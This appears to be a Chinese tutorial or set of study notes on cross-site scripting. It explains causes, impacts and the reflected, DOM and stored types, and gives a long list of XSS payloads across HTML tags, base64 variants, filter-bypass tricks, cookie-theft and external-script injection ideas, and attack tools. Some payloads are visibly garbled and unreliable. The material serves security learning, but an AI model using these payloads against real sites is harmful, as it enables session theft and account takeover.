一、漏洞介绍
xss:跨站脚本攻击(Cross Site Scripting)
攻击者向web页面中插入恶意js代码,当用户浏览该页时,触发代码,从而达到恶意攻击目的。
二、产生原因
未对用户输入进行过滤、转义而直接输出到页面。导致用户可以利用javascript、html等执行恶意代码。
三、产生条件
- 可能存在控制的输入点
- 前端页面未过滤js
四、漏洞危害
- 窃取管理员账号或cookie,登录后台。对数据库进行非法的增删改查等操作。
- 窃取用户的个人信息或登录账号;登录账号冒充用户身份进行非法操作;对用户账号安全产生威胁。
- 网站挂马。将恶意代码嵌入web应用中,待用户浏览页面时,将木马植入用户计算机。
- 发送广告或垃圾信息,影响用户使用体验。
五、应用场景
- 数据交互的地方
get、post、cookies、headers
反馈与浏览
富文本编辑器
各类标签插入和自定义
- 数据输出的地方
用户资料
关键词、标签、说明
文件上传
六、漏洞分类
1. 反射型
反射型XSS又称非持久性XSS,这种攻击往往具有一次性。
攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问链接时,服务器接收该目标用户的请求并进行处理,然后服务器带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。
2. DOM型
DOM型XSS全称Document Object Model,使用DOM动态访问更新文档的内容、结构及样式。
用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞。
3. 存储型
这种攻击多见于论坛,博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地被存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到执行。
4. 区别
xss为什么区分三种类型?
按照前端、后端、数据库区分:
反射型:经过后端,不经过数据库
存储型:经过后端,经过数据库
dom型:不经过后端,是基于文档对象模型的一种漏洞
七、漏洞利用
1. 标签
img标签
<img src=javascript:alert("xxs")>
<img src=javascript:alert(string.formcharcode(88,83,83))>
<img src="url" style='xss:expression(alert(/xss));'>
<img style="background-image:url(javascript:alert('xss'))">
<img src="x" one rror=alert(1)>
<img src="1" one rror=eval("alert('xss')")>
<img src=1 onm ouseover=alert('xss')>
a标签
<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>
<a href="javascript:aaa" onm ouseover="alert(/xss/)">aa</a>
<a href="" onclick=alert('xss')>aa</a>
<a href="" onclick=eval(alert('xss'))>aa</a>
<a href=kycg.asp?ttt=1000 onm ouseover=prompt('xss') y=2016>aa</a>
input标签
<input value="" onclick=alert('xss') type="text">
<input value="" onm ouseover=prompt('xss')>
<input value=""><script>alert('xss')</script>
form标签
<form action=javascript:alert('xss') method="get">
<form method=post action=aa.asp?onmouseover=prompt('xss')>
<form method=post action=aa.asp? onm ouseover=alert('xss')>
<form action=1 onm ouseover=alert('xss)>
base64编码
<form method=post action="data:text/html;base64,<script>alert('xss')">
<form method=post action="data:text/html;base64,
PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
iframe标签
<iframe src=javascript:alert('xss');height=5width=1000 ></iframe>
<iframe src="data:text/html,<script>alert('xss')</script>"></iframe>
base64编码
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<iframe src="data:text/html;base64,
PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="aaa" onm ouseover=alert('xss') /><iframe>
<iframe src="javascript:prompt(`xss`)"></iframe>
svg标签
<svg onl oad=alert(1)>
2. 绕过
大小写、双写、编码等……
3. 获取信息
- document.cookie
需要有回显输出位,alert等
- <script src=//></script>
插入攻击脚本
4. 工具
- 在线平台
ngxpt.co
- xsstrike
八、防御与修复
对用户输入进行过滤和转义。